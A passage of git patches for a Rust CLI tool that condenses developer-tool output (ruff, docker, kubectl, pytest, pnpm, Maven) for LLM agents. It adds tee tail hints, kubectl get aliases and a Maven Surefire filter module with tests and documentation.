filter_ruff_check_json(output: &str) -> String { result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); } - // List individual violations with file:line:col so an agent can navigate - // straight to each one — the rule/file grouping above is a summary, not a - // substitute for locations. - const MAX_VIOLATIONS: usize = 50; + // List all violations with file:line:col — format compression (JSON → one + // liner) already saves ~10x; capping would hide locations the agent needs + // to navigate directly to each issue. result.push_str("\nViolations:\n"); - for diag in diagnostics.iter().take(MAX_VIOLATIONS) { + for diag in &diagnostics { result.push_str(&format!( " {}:{}:{} {} {}\n", compact_path(&diag.filename), @@ -196,12 +195,6 @@ pub fn filter_ruff_check_json(output: &str) -> String { truncate(diag.message.trim(), 100), )); } - if diagnostics.len() > MAX_VIOLATIONS { - result.push_str(&format!( - " ... +{} more violations\n", - diagnostics.len() - MAX_VIOLATIONS - )); - } if fixable_count > 0 { result.push_str(&format!( diff --git a/src/cmds/system/pipe_cmd.rs b/src/cmds/system/pipe_cmd.rs index dcbc52cad9..f4e041d221 100644 --- a/src/cmds/system/pipe_cmd.rs +++ b/src/cmds/system/pipe_cmd.rs @@ -15,7 +15,7 @@ pub fn resolve_filter(name: &str) -> Option String> { "find" | "fd" => Some(find_wrapper), "git-log" => Some(git_log_wrapper), "git-diff" => Some(git_diff_wrapper), - "git-status" => Some(crate::cmds::git::git::format_status_output), + "git-status" => Some(git_status_wrapper), "log" => Some(crate::cmds::system::log_cmd::run_stdin_str), "mypy" => Some(crate::cmds::python::mypy_cmd::filter_mypy_output), "ruff-check" => Some(crate::cmds::python::ruff_cmd::filter_ruff_check_json), @@ -29,6 +29,10 @@ fn go_test_wrapper(input: &str) -> String { crate::cmds::go::go_cmd::filter_go_test_json(input) } +fn git_status_wrapper(input: &str) -> String { + crate::cmds::git::git::format_status_output(input) +} + fn git_log_wrapper(input: &str) -> String { crate::cmds::git::git::filter_log_output(input, 50, false, false) } diff --git a/src/core/README.md b/src/core/README.md index ca031a15ac..9b8a8a414f 100644 --- a/src/core/README.md +++ b/src/core/README.md @@ -121,5 +121,7 @@ Consumers that parse structured output (JSON, NDJSON, state machines) should cal For truncation recovery on **success** (e.g., list truncated at 20 items), use `tee::force_tee_hint()` which bypasses the tee mode check and writes regardless of exit code. This ensures LLMs always have a `[full output: ...]` recovery path instead of burning tokens working around missing data. +When the truncated output is a **flat list** and the hidden items start at a predictable line, prefer `tee::force_tee_tail_hint(content, slug, offset)`. It writes the same tee file but emits a directly runnable hint — `[see remaining: tail -n +{offset} ~/path]` — so the agent jumps to exactly the first hidden item without scanning the whole file. The offset is `header_lines + MAX_CAP + 1`. Use `force_tee_hint` instead when the output has multiple sections (e.g. running + stopped containers) and no single offset cleanly covers the gap. + ## Adding New Functionality Place new infrastructure code here if it meets **all** of these criteria: (1) it has no dependencies on command modules or hooks, (2) it is used by two or more other modules, and (3) it provides a general-purpose utility rather than command-specific logic. Follow the existing pattern of lazy-initialized resources (`lazy_static!` for regex, on-demand config loading) to preserve the <10ms startup target. Add `#[cfg(test)] mod tests` with unit tests in the same file. diff --git a/src/core/tee.rs b/src/core/tee.rs index c67ea8349d..0b01bcae3b 100644 --- a/src/core/tee.rs +++ b/src/core/tee.rs @@ -168,19 +168,17 @@ pub fn tee_raw(raw: &str, command_slug: &str, exit_code: i32) -> Option ) } -/// Format the hint line with ~ shorthand for home directory. -fn format_hint(path: &std::path::Path) -> String { - let display = if let Some(home) = dirs::home_dir() { +fn display_path(path: &std::path::Path) -> String { + if let Some(home) = dirs::home_dir() { if let Ok(relative) = path.strip_prefix(&home) { - format!("~/{}", relative.display()) - } else { - path.display().to_string() + return format!("~/{}", relative.display()); } - } else { - path.display().to_string() - }; + } + path.display().to_string() +} - format!("[full output: {}]", display) +fn format_hint(path: &std::path::Path) -> String { + format!("[full output: {}]", display_path(path)) } /// Convenience: tee + format hint in one call. @@ -190,26 +188,17 @@ pub fn tee_and_hint(raw: &str, command_slug: &str, exit_code: i32) -> Option= MIN_TEE_SIZE and tee is enabled. -/// Returns hint string if file was written, None if skipped/disabled. -/// -/// Used by AWS filters when FilterResult.truncated = true, ensuring -/// the LLM has access to full untruncated output via the hint path. -pub fn force_tee_hint(raw: &str, command_slug: &str) -> Option { - // Check RTK_TEE=0 env override (disable) +fn force_tee_path(content: &str, command_slug: &str) -> Option { if std::env::var("RTK_TEE").ok().as_deref() == Some("0") { return None; } - // Skip if output too small - if raw.len() < MIN_TEE_SIZE { + if content.is_empty() { return None; } let config = Config::load().ok()?; - // Respect enabled flag but ignore mode (force tee) if !config.tee.enabled { return None; } @@ -217,17 +206,35 @@ pub fn force_tee_hint(raw: &str, command_slug: &str) -> Option { let tee_dir = get_tee_dir(&config)?; let tee_dir = std::fs::create_dir_all(&tee_dir).ok().and(Some(tee_dir))?; - let path = write_tee_file( - raw, + write_tee_file( + content, command_slug, &tee_dir, config.tee.max_file_size, config.tee.max_files, - )?; + ) +} +/// Returns `[full output: ~/path]`, or None if tee is disabled/skipped. +pub fn force_tee_hint(raw: &str, command_slug: &str) -> Option { + let path = force_tee_path(raw, command_slug)?; Some(format_hint(&path)) } +/// Returns `[see remaining: tail -n +{line_offset} ~/path]`, or None if tee is disabled/skipped. +pub fn force_tee_tail_hint( + content: &str, + command_slug: &str, + line_offset: usize, +) -> Option { + let path = force_tee_path(content, command_slug)?; + Some(format!( + "[see remaining: tail -n +{} {}]", + line_offset, + display_path(&path) + )) +} + /// TeeMode controls when tee writes files. #[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Default)] #[serde(rename_all = "lowercase")] @@ -487,11 +494,9 @@ directory = "/tmp/rtk-tee" } #[test] - fn test_force_tee_hint_skip_small_output() { - // force_tee_hint should respect MIN_TEE_SIZE - let small_output = "short error"; - let hint = force_tee_hint(small_output, "test_cmd"); - assert!(hint.is_none(), "Should skip output < MIN_TEE_SIZE"); + fn test_force_tee_hint_skip_empty() { + let hint = force_tee_hint("", "test_cmd"); + assert!(hint.is_none(), "Should skip empty content"); } #[test] @@ -503,4 +508,20 @@ directory = "/tmp/rtk-tee" std::env::remove_var("RTK_TEE"); assert!(hint.is_none(), "Should respect RTK_TEE=0"); } + + #[test] + fn test_force_tee_tail_hint_skip_empty() { + let hint = force_tee_tail_hint("", "test_cmd", 22); + assert!(hint.is_none(), "Should skip empty content"); + } + + #[test] + fn test_force_tee_tail_hint_format() { + let path = std::path::PathBuf::from("/tmp/rtk/tee/123_docker_images.log"); + let display = display_path(&path); + let hint = format!("[see remaining: tail -n +{} {}]", 22, display); + assert!(hint.starts_with("[see remaining: tail -n +22 ")); + assert!(hint.ends_with(']')); + assert!(hint.contains("123_docker_images.log")); + } } From 4eefe2f225ea512a2f1bf800dd20c09994721108 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sat, 16 May 2026 15:06:46 +0200 Subject: [PATCH 100/257] fix: re-add env python as noisy dir --- src/cmds/system/constants.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/cmds/system/constants.rs b/src/cmds/system/constants.rs index bd8c496378..4b39d54fe7 100644 --- a/src/cmds/system/constants.rs +++ b/src/cmds/system/constants.rs @@ -14,6 +14,7 @@ pub const NOISE_DIRS: &[&str] = &[ ".tox", ".venv", "venv", + "env", // Python legacy virtualenv dir — noise. .env (dotenv) is intentionally NOT here: agents must see it. "coverage", ".nyc_output", ".DS_Store", From 3571d5293dc463c2a0aadfa9a5587b18478ca99a Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sat, 16 May 2026 15:23:06 +0200 Subject: [PATCH 101/257] fix: '...' ascii to unicode, remove some comments --- src/cmds/cloud/container.rs | 19 ++++++++----------- src/cmds/git/git.rs | 3 --- src/cmds/js/pnpm_cmd.rs | 11 +++++------ src/cmds/python/pytest_cmd.rs | 5 ++--- 4 files changed, 15 insertions(+), 23 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index d5cb012012..ee2ac6e4bf 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -54,7 +54,6 @@ where fn docker_ps(_verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - // Baseline the LLM would otherwise see. let raw = exec_capture(resolved_command("docker").args(["ps"])) .map(|r| r.stdout) .unwrap_or_default(); @@ -76,7 +75,6 @@ fn docker_ps(_verbose: u8) -> Result { } let format_line = |parts: &[&str], with_ports: bool| -> Option { - // parts: State, ID, Names, Status, Image, Ports if parts.len() < 5 { return None; } @@ -140,7 +138,7 @@ fn docker_ps(_verbose: u8) -> Result { rtk.push_str(l); } if running_lines.len() > MAX_CONTAINERS { - rtk.push_str(&format!(" ... +{} more\n", running_lines.len() - MAX_CONTAINERS)); + rtk.push_str(&format!(" … +{} more\n", running_lines.len() - MAX_CONTAINERS)); } if !stopped_lines.is_empty() { rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped_lines.len())); @@ -148,7 +146,7 @@ fn docker_ps(_verbose: u8) -> Result { rtk.push_str(l); } if stopped_lines.len() > MAX_CONTAINERS { - rtk.push_str(&format!(" ... +{} more\n", stopped_lines.len() - MAX_CONTAINERS)); + rtk.push_str(&format!(" … +{} more\n", stopped_lines.len() - MAX_CONTAINERS)); } } if truncated { @@ -236,7 +234,6 @@ fn docker_images(_verbose: u8) -> Result { }) .collect(); - // full_rtk = header already in rtk + all image lines (for tee when truncated) let mut full_rtk = rtk.clone(); for l in &image_lines { full_rtk.push_str(l); @@ -246,7 +243,7 @@ fn docker_images(_verbose: u8) -> Result { rtk.push_str(l); } if image_lines.len() > MAX_IMAGES { - rtk.push_str(&format!(" ... +{} more\n", image_lines.len() - MAX_IMAGES)); + rtk.push_str(&format!(" … +{} more\n", image_lines.len() - MAX_IMAGES)); if let Some(hint) = crate::core::tee::force_tee_tail_hint(&full_rtk, "docker-images", MAX_IMAGES + 2) { rtk.push_str(&format!("{}\n", hint)); } @@ -356,7 +353,7 @@ fn format_kubectl_pods(json: &Value) -> String { out.push_str(&format!(" {}\n", issue)); } if issues.len() > 10 { - out.push_str(&format!(" ... +{} more", issues.len() - 10)); + out.push_str(&format!(" … +{} more", issues.len() - 10)); } } out @@ -409,7 +406,7 @@ fn format_kubectl_services(json: &Value) -> String { )); } if services.len() > 15 { - out.push_str(&format!(" ... +{} more", services.len() - 15)); + out.push_str(&format!(" … +{} more", services.len() - 15)); } out } @@ -483,7 +480,7 @@ pub fn format_compose_ps(raw: &str) -> String { } } if lines.len() > 20 { - result.push_str(&format!(" ... +{} more\n", lines.len() - 20)); + result.push_str(&format!(" … +{} more\n", lines.len() - 20)); } result.trim_end().to_string() @@ -573,7 +570,7 @@ fn compact_ports(ports: &str) -> String { port_nums.join(", ") } else { format!( - "{}, ... +{}", + "{}, … +{}", port_nums[..2].join(", "), port_nums.len() - 2 ) @@ -814,6 +811,6 @@ api-1 | Connected to database"; #[test] fn test_compact_ports_many() { let result = compact_ports("0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp, 0.0.0.0:8080->8080/tcp, 0.0.0.0:9090->9090/tcp"); - assert!(result.contains("..."), "should truncate for >3 ports"); + assert!(result.contains("…"), "should truncate for >3 ports"); } } diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index b2fb7c6b06..622f45709f 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -676,13 +676,10 @@ fn truncate_line(line: &str, width: usize) -> String { } } -/// Preserve RTK's branch/clean framing while keeping porcelain file lines intact. pub(crate) fn format_status_output(porcelain: &str) -> String { format_status_inner(porcelain, None) } -/// Like `format_status_output` but substitutes the explicit detached-HEAD ref. -// receives the real ref extracted from plain-status output. pub(crate) fn format_status_output_detached(porcelain: &str, detached_ref: &str) -> String { format_status_inner(porcelain, Some(detached_ref)) } diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index 90357dea70..ce5f98444e 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -135,7 +135,6 @@ fn extract_list_text(output: &str) -> Option { for line in output.lines() { let trimmed = line.trim(); - // Track dependency category from pnpm's section headers if trimmed == "devDependencies:" { is_dev = true; continue; @@ -312,7 +311,7 @@ fn format_dependency_listing(state: &DependencyState, cap: bool) -> String { } if cap && prod.len() > MAX_LISTING { lines.push(format!( - " ... +{} more — run `pnpm list --prod | tail -n +{}`", + " … +{} more — run `pnpm list --prod | tail -n +{}`", prod.len() - MAX_LISTING, MAX_LISTING + 3 )); @@ -327,7 +326,7 @@ fn format_dependency_listing(state: &DependencyState, cap: bool) -> String { } if cap && dev.len() > MAX_LISTING { lines.push(format!( - " ... +{} more — run `pnpm list --dev | tail -n +{}`", + " … +{} more — run `pnpm list --dev | tail -n +{}`", dev.len() - MAX_LISTING, MAX_LISTING + 3 )); @@ -628,7 +627,7 @@ mod tests { let out = format_dependency_listing(&state, true); let prod_count = 60usize; assert!( - out.contains(&format!("... +{} more", prod_count - MAX_LISTING)), + out.contains(&format!("… +{} more", prod_count - MAX_LISTING)), "truncation count missing" ); assert!( @@ -643,7 +642,7 @@ mod tests { let prod: Vec<&str> = (0..60).map(|_| "pkg").collect(); let state = make_state(&prod, &[]); let out = format_dependency_listing(&state, false); - assert!(!out.contains("... +"), "should not truncate when cap=false"); + assert!(!out.contains("… +"), "should not truncate when cap=false"); assert!(!out.contains("[dev]"), "no dev section for prod-only state"); } @@ -652,7 +651,7 @@ mod tests { let dev: Vec<&str> = (0..60).map(|_| "pkg").collect(); let state = make_state(&[], &dev); let out = format_dependency_listing(&state, false); - assert!(!out.contains("... +"), "should not truncate when cap=false"); + assert!(!out.contains("… +"), "should not truncate when cap=false"); assert!(!out.contains("[prod]"), "no prod section for dev-only state"); } diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index 18bd3b9939..cda1768f2a 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -139,7 +139,6 @@ pub(crate) fn filter_pytest_output(output: &str) -> String { if trimmed.starts_with("FAILED") || trimmed.starts_with("ERROR") { failures.push(trimmed.to_string()); } else if trimmed.starts_with("XFAIL") || trimmed.starts_with("XPASS") { - // `-rxX` adds these: "XFAIL path::test - reason" / "XPASS path::test - reason" xfail_lines.push(trimmed.to_string()); } } @@ -211,7 +210,7 @@ fn build_pytest_summary( result.push_str(&format!(" {}\n", truncate(line, 120))); } if xfail_lines.len() > MAX_XFAIL { - result.push_str(&format!(" ... +{} more\n", xfail_lines.len() - MAX_XFAIL)); + result.push_str(&format!(" … +{} more\n", xfail_lines.len() - MAX_XFAIL)); let all_xfail = xfail_lines.join("\n"); if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_xfail, "pytest-xfail", MAX_XFAIL + 1) { result.push_str(&format!(" {}\n", hint)); @@ -272,7 +271,7 @@ fn build_pytest_summary( } if failures.len() > 5 { - result.push_str(&format!("\n... +{} more failures\n", failures.len() - 5)); + result.push_str(&format!("\n… +{} more failures\n", failures.len() - 5)); } result.trim().to_string() From b8172e5b1de2fd3a27d992ffba484f01b47d84d4 Mon Sep 17 00:00:00 2001 From: pagarsky Date: Tue, 5 May 2026 13:05:22 +0300 Subject: [PATCH 102/257] fix(kubectl): compact get pods and services aliases Co-authored-by: Cursor --- src/cmds/cloud/container.rs | 89 +++++++++++++++++++++++++++++++++++++ src/main.rs | 19 ++++++++ 2 files changed, 108 insertions(+) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index dd32a23125..71c8b9e19b 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -612,6 +612,45 @@ pub fn run_compose_passthrough(args: &[OsString], verbose: u8) -> Result { crate::core::runner::run_passthrough("docker", &combined, verbose) } +pub fn run_kubectl_get(args: &[String], verbose: u8) -> Result { + match kubectl_get_target(args) { + Some(("pods", rest)) => run(ContainerCmd::KubectlPods, rest, verbose), + Some(("services", rest)) => run(ContainerCmd::KubectlServices, rest, verbose), + _ => run_kubectl_get_passthrough(args, verbose), + } +} + +fn kubectl_get_target(args: &[String]) -> Option<(&'static str, &[String])> { + let resource = args.first()?.as_str(); + let rest = &args[1..]; + if kubectl_get_requests_raw_output(rest) { + return None; + } + + match resource { + "po" | "pod" | "pods" => Some(("pods", rest)), + "svc" | "service" | "services" => Some(("services", rest)), + _ => None, + } +} + +fn kubectl_get_requests_raw_output(args: &[String]) -> bool { + args.iter().any(|arg| { + matches!( + arg.as_str(), + "-o" | "--output" | "-w" | "--watch" | "--show-labels" | "--show-kind" + ) || arg.starts_with("-o") + || arg.starts_with("--output=") + }) +} + +fn run_kubectl_get_passthrough(args: &[String], verbose: u8) -> Result { + let passthrough_args: Vec = std::iter::once(OsString::from("get")) + .chain(args.iter().map(|arg| OsString::from(arg.as_str()))) + .collect(); + run_kubectl_passthrough(&passthrough_args, verbose) +} + pub fn run_kubectl_passthrough(args: &[OsString], verbose: u8) -> Result { crate::core::runner::run_passthrough("kubectl", args, verbose) } @@ -752,4 +791,54 @@ api-1 | Connected to database"; let result = compact_ports("0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp, 0.0.0.0:8080->8080/tcp, 0.0.0.0:9090->9090/tcp"); assert!(result.contains("..."), "should truncate for >3 ports"); } + + #[test] + fn test_kubectl_get_target_pods_aliases() { + for resource in ["po", "pod", "pods"] { + let args = vec![resource.to_string(), "-n".to_string(), "default".to_string()]; + + assert_eq!( + kubectl_get_target(&args), + Some(("pods", &args[1..])), + "failed for {resource}" + ); + } + } + + #[test] + fn test_kubectl_get_target_services_aliases() { + for resource in ["svc", "service", "services"] { + let args = vec![resource.to_string(), "-A".to_string()]; + + assert_eq!( + kubectl_get_target(&args), + Some(("services", &args[1..])), + "failed for {resource}" + ); + } + } + + #[test] + fn test_kubectl_get_target_unsupported_resource() { + let args = vec!["deployments".to_string()]; + + assert_eq!(kubectl_get_target(&args), None); + } + + #[test] + fn test_kubectl_get_target_respects_output_flags() { + for output_flag in ["-o", "-owide", "--output", "--output=json"] { + let args = vec![ + "pods".to_string(), + output_flag.to_string(), + "wide".to_string(), + ]; + + assert_eq!( + kubectl_get_target(&args), + None, + "should pass through {output_flag}" + ); + } + } } diff --git a/src/main.rs b/src/main.rs index 25c70dcb06..f24f64fc80 100644 --- a/src/main.rs +++ b/src/main.rs @@ -942,6 +942,12 @@ enum ComposeCommands { #[derive(Debug, Subcommand)] enum KubectlCommands { + /// Get Kubernetes resources (compact for pods/services) + Get { + /// kubectl get arguments + #[arg(trailing_var_arg = true, allow_hyphen_values = true)] + args: Vec, + }, /// List pods Pods { #[arg(short, long)] @@ -1724,6 +1730,7 @@ fn run_cli() -> Result { }, Commands::Kubectl { command } => match command { + KubectlCommands::Get { args } => container::run_kubectl_get(&args, cli.verbose)?, KubectlCommands::Pods { namespace, all } => { let mut args: Vec = Vec::new(); if all { @@ -2640,6 +2647,18 @@ mod tests { } } + #[test] + fn test_try_parse_kubectl_get_alias() { + let cli = Cli::try_parse_from(["rtk", "kubectl", "get", "pods", "-n", "default"]).unwrap(); + + match cli.command { + Commands::Kubectl { + command: KubectlCommands::Get { args }, + } => assert_eq!(args, vec!["pods", "-n", "default"]), + _ => panic!("Expected Kubectl Get command"), + } + } + #[test] fn test_try_parse_init_agent_hermes_uninstall() { let cli = Cli::try_parse_from(["rtk", "init", "--agent", "hermes", "--uninstall"]).unwrap(); From 6c4950e8258c424ea34a371833ead6bbcdaedc0a Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Sun, 17 May 2026 10:25:15 -0300 Subject: [PATCH 103/257] feat(mvn)!: Rust module replacing TOML filter, adds test phase support MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replaces the stateless src/filters/mvn-build.toml (4 phases, 50-line cap) with a Rust module under src/cmds/jvm/mvn_cmd.rs handling all common Maven lifecycle phases with stateful Surefire/Failsafe block collapse. Why TOML couldn't do this: the dominant noise on a healthy Maven project is expected-exception stack traces inside passing tests (assertThrows). Collapsing these requires deciding to drop a block based on its closing `Tests run: N, Failures: 0, Errors: 0` line — a stateful decision the TOML DSL cannot express. Measured savings on synthetic full-shape fixtures (~1100 lines each, gzipped): - mvn test: 3 422 tok → 36 tok (98.9% savings) - mvn install: 3 460 tok → 85 tok (97.5% savings) Coverage: | Phase | Filter | |------------------------------------|----------------------------------------| | test, integration-test | filter_surefire (block collapse) | | compile, test-compile | filter_compile (ERROR + indent + dedup)| | package, install, verify, deploy | filter_package (compile + surefire) | | clean, site, plugin goals, version | passthrough | Key behaviours: - ANSI strip first in every filter (real Maven output contains colour escapes). - English-footer guard: if no `BUILD SUCCESS`/`BUILD FAILURE` line is present, return ANSI-stripped raw input unchanged — protects non-English locales. - Verbose bypass: `-X`, `--debug`, `-e`, `--errors` skip filtering. - Stack-frame deny-list strips framework frames (`at org.junit.`, `at java.util.`, `at sun.reflect.`, etc.); user-code frames (any other prefix) preserved. - Duration normalisation (`Time elapsed: 2.341 s` → `Time elapsed: T s`) for deterministic test output. - Wrapper detection: `./mvnw` / `mvnw.cmd` via string-literal `Command::new` (semgrep-safe); falls back to `resolved_command("mvn")`. Hook regex changes (src/discover/rules.rs): - Adds wrapper prefixes (./mvnw, mvnw.cmd, mvnw). - Adds test, integration-test, verify, deploy to the alternation. - Drops clean + site so bare invocations bypass RTK entirely (0 overhead). - Lazy quantifier skips flags before the goal (`mvn -B clean install` now rewrites correctly; previously failed because the regex required the goal as the first token after `mvn`). - Drops subcmd_savings (lazy match captures first phase, which would mis-tier `clean install` to clean); uses flat 82.0. Tests: - 33 unit tests in mvn_cmd.rs (phase detection, footer guard, framework deny, duration normalisation, ERROR continuation, WARNING dedup, install/jar lines). - 2 inline savings assertions on gzipped synthetic full fixtures (~3 KB each) using flate2 already in Cargo.toml. Run as part of standard `cargo test --all`. - 12 classifier/rewrite tests in src/discover/registry.rs under new Maven section. Files changed: - ADD src/cmds/jvm/mvn_cmd.rs (~810 LoC incl. tests) - ADD src/cmds/jvm/README.md (documents whitelist omission decision) - ADD tests/fixtures/mvn_*_raw.txt (6 inline) + 2 .gz synthetic full fixtures - MOD src/main.rs (1 use, 1 Commands variant, 1 dispatch arm) - MOD src/discover/rules.rs (replace mvn entry) - MOD src/discover/registry.rs (12 classifier tests) - MOD src/core/toml_filter.rs (drop mvn-build from expected-filters list, adjust the 2 count assertions) - DEL src/filters/mvn-build.toml Fixtures are entirely synthetic — generic `com.example.app.*` package names and `com.example:myapp` Maven coordinates. Same SHAPE as real Maven output (block structure, ANSI codes, framework stack frames, BUILD footer, plugin banners) without any project-identifying content. Integrity-check whitelist: Commands::Mvn is intentionally omitted from is_operational_command at src/main.rs:2455-2501, matching the gradle precedent (Commands::Gradlew also omitted). The whitelist is opt-in by design per the comment at L2452-2454 — filter modules invoked through an already-verified hook do not need a second integrity check on their own dispatch path. Documented in src/cmds/jvm/README.md. Out-of-scope (follow-ups noted in module + README): - Parallel mode `-T2C` (interleaved blocks across threads). - Plugin goals (`mvn dependency:tree`, `mvn versions:*`). - `mvnw.bat` legacy wrapper (Maven Wrapper 3.x emits `.cmd`). BREAKING CHANGE: `rtk mvn ` output format changed. Previously: TOML filter strips INFO/Downloading lines and caps at 50 lines. Now: state-machine filter with Surefire block collapse + locale guard + verbose bypass. Different output shape; significantly better savings tier; behaviour is otherwise a superset (all previously-handled cases still handled, plus test/verify/etc.). --- Cargo.lock | 2 +- src/cmds/jvm/README.md | 38 + src/cmds/jvm/mvn_cmd.rs | 808 ++++++++++++++++++ src/core/toml_filter.rs | 11 +- src/discover/registry.rs | 129 +++ src/discover/rules.rs | 6 +- src/filters/mvn-build.toml | 44 - src/main.rs | 12 +- tests/fixtures/mvn_clean_raw.txt | 15 + .../fixtures/mvn_compile_error_slice_raw.txt | 25 + tests/fixtures/mvn_install_full_raw.txt.gz | Bin 0 -> 3456 bytes tests/fixtures/mvn_install_slice_raw.txt | 39 + tests/fixtures/mvn_locale_fr_raw.txt | 15 + tests/fixtures/mvn_no_pom_raw.txt | 8 + tests/fixtures/mvn_test_fail_slice_raw.txt | 39 + tests/fixtures/mvn_test_pass_full_raw.txt.gz | Bin 0 -> 2978 bytes tests/fixtures/mvn_test_pass_slice_raw.txt | 47 + 17 files changed, 1183 insertions(+), 55 deletions(-) create mode 100644 src/cmds/jvm/README.md create mode 100644 src/cmds/jvm/mvn_cmd.rs delete mode 100644 src/filters/mvn-build.toml create mode 100644 tests/fixtures/mvn_clean_raw.txt create mode 100644 tests/fixtures/mvn_compile_error_slice_raw.txt create mode 100644 tests/fixtures/mvn_install_full_raw.txt.gz create mode 100644 tests/fixtures/mvn_install_slice_raw.txt create mode 100644 tests/fixtures/mvn_locale_fr_raw.txt create mode 100644 tests/fixtures/mvn_no_pom_raw.txt create mode 100644 tests/fixtures/mvn_test_fail_slice_raw.txt create mode 100644 tests/fixtures/mvn_test_pass_full_raw.txt.gz create mode 100644 tests/fixtures/mvn_test_pass_slice_raw.txt diff --git a/Cargo.lock b/Cargo.lock index b7796e6d8b..79fa30e31b 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.36.0" +version = "0.34.3" dependencies = [ "anyhow", "automod", diff --git a/src/cmds/jvm/README.md b/src/cmds/jvm/README.md new file mode 100644 index 0000000000..67706cefe1 --- /dev/null +++ b/src/cmds/jvm/README.md @@ -0,0 +1,38 @@ +# JVM ecosystem filters + +Filters for JVM-based build tools. + +| Module | Tool(s) | Modes | +|------------------|--------------------------------------|----------------------------------------------------------------------------------------| +| `gradlew_cmd.rs` | `./gradlew`, `gradlew.bat`, `gradle` | Build / Test / ConnectedTest / Lint / Dependencies — streaming line filter + passthrough | +| `mvn_cmd.rs` | `mvn`, `./mvnw`, `mvnw.cmd` | Test / Compile / Package / Passthrough — buffered single-pass filter per phase | + +## Maven (`mvn_cmd.rs`) + +Phase routing (`detect_phase`): + +| Phase | Goals | Filter | +|-------------|--------------------------------------------------------|-------------------------| +| `Test` | `test`, `integration-test` (Failsafe = Surefire shape) | `filter_surefire` | +| `Compile` | `compile`, `test-compile` | `filter_compile` | +| `Package` | `package`, `install`, `verify`, `deploy` | `filter_package` | +| `Passthrough` | `clean`, `site`, `dependency:*`, `--version`, `--help`, empty, any unrecognised goal | none | + +Key behaviours: + +- **ANSI strip first** in every filter — real Maven output contains colour escapes. +- **English-footer guard** — if neither `BUILD SUCCESS` nor `BUILD FAILURE` appears as a trimmed line suffix, return the ANSI-stripped raw input unchanged. Protects non-English locales. +- **Verbose bypass** — `-X`, `--debug`, `-e`, `--errors` skip filtering (`run_passthrough`). User asked for detail; respect it. +- **Surefire block collapse** — Surefire emits `[INFO] Running ` … `[INFO] Tests run: N, Failures: F, Errors: E, …, Time elapsed: T s - in `. The filter buffers each block and emits it only when `F > 0` or `E > 0`. Passing blocks (the bulk of healthy-project output) are dropped silently. Failing blocks are emitted with framework stack frames stripped via a deny-list (`at org.junit.`, `at java.util.`, `at sun.reflect.`, etc.). +- **Duration normalisation** — `Time elapsed: 2.341 s` → `Time elapsed: T s` and `[INFO] Total time: 49.550 s` → `[INFO] Total time: T s` for deterministic test output. +- **Wrapper detection** — `./mvnw` (POSIX) and `mvnw.cmd` (Windows) detected via string-literal `Command::new` (semgrep-safe); falls back to `resolved_command("mvn")`. + +Token-savings tests run inline as part of `cargo test --all` and verify ≥90% savings for `mvn test` and ≥85% for `mvn install` on full synthetic fixtures (gzipped, ~1100 lines each). The `flate2` dependency (already in `Cargo.toml`) decompresses the ~3 KB gzipped fixtures in milliseconds. + +### Integrity-check whitelist + +`Commands::Mvn` is intentionally omitted from `is_operational_command` in `src/main.rs`, matching the gradle precedent (`Commands::Gradlew` also omitted). The whitelist guards SHA-256 hook-integrity verification; filter modules invoked through an already-verified hook do not need a second check on their own dispatch path. Per the comment above the function, the whitelist is opt-in by design and a forgotten command fails open rather than creating false confidence about what's protected. + +## Gradle (`gradlew_cmd.rs`) + +See module docs and the gradle PR (`feat/gradlew-android-support`) for rationale. Streaming filter chosen because Gradle output is task-line-based, not block-based — unlike Maven Surefire. diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs new file mode 100644 index 0000000000..0cadc370f0 --- /dev/null +++ b/src/cmds/jvm/mvn_cmd.rs @@ -0,0 +1,808 @@ +//! Apache Maven filter — Surefire/Failsafe block collapse, compile error/warning +//! dedup, package/install pipeline with mode-toggle. +//! +//! Replaces the previous `src/filters/mvn-build.toml` filter with a Rust module +//! capable of state-machine parsing (block collapse, continuation tracking, +//! mode toggle) that TOML DSL cannot express. + +use crate::core::runner::{self, RunOptions}; +use crate::core::utils::{resolved_command, strip_ansi}; +use anyhow::Result; +use lazy_static::lazy_static; +use regex::Regex; +use std::collections::HashSet; +use std::ffi::OsString; +use std::path::Path; +use std::process::Command; + +// ── Shared regex patterns ──────────────────────────────────────────────────── + +lazy_static! { + /// `[INFO] Running com.example.app.FooTest` + static ref RUNNING: Regex = Regex::new(r"^\[INFO\] Running ").unwrap(); + + /// Surefire/Failsafe per-class close line. Captures `Failures` and `Errors`. + /// Tolerates the optional `<<< FAILURE!` marker between duration and ` - in `. + static ref CLOSE: Regex = Regex::new( + r"^\[(?:INFO|ERROR)\] Tests run: \d+, Failures: (\d+), Errors: (\d+), Skipped: \d+, Time elapsed: [^ ]+ s(?:\s+<<<\s*FAILURE!)? - in (.+)$" + ).unwrap(); + + /// Final BUILD footer. + static ref BUILD_FOOT: Regex = Regex::new(r"^\[(?:INFO|ERROR)\] BUILD 